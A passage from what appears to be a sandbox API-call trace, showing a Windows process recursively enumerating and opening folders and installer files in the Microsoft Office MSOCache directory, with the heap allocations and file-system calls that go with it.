ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.236] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0042.236] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0042.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dbe90 [0042.236] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dbe90, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9dbe90, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0042.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dbe90) returned 1 [0042.236] NtClose (Handle=0x164) returned 0x0 [0042.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0042.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0042.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0042.237] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0042.242] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.242] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0042.242] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0042.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d99e8 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dac10 [0042.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.243] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9a08 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dad18 [0042.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.243] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9a28 [0042.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dae20 [0042.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.243] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0042.243] GetLastError () returned 0x12 [0042.243] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0042.244] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0042.244] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.244] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0042.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9daf28 [0042.244] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.251] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0042.251] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0042.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dbe90 [0042.251] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dbe90, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9dbe90, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0042.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dbe90) returned 1 [0042.251] NtClose (Handle=0x164) returned 0x0 [0042.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9daf28) returned 1 [0042.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0042.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9daf28 [0042.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db030 [0042.251] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0042.339] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.339] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0042.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db138 [0042.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0042.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9a48 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db240 [0042.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.340] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9a68 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db348 [0042.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.340] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9a88 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db450 [0042.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.340] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9aa8 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9db558 [0042.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x9d5470 [0042.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4970) returned 1 [0042.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.341] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0042.341] GetLastError () returned 0x12 [0042.341] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0042.341] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0042.341] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.341] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0042.341] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0042.341] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0042.341] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0042.341] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0042.341] GetLastError () returned 0x12 [0042.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9db030) returned 1 [0042.341] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0042.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9db138) returned 1 [0042.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9daf28) returned 1 [0042.342] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0042.342] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0042.342] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.342] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0042.342] GetLastError () returned 0x12 [0042.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0042.342] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0042.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0042.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0042.342] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0042.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 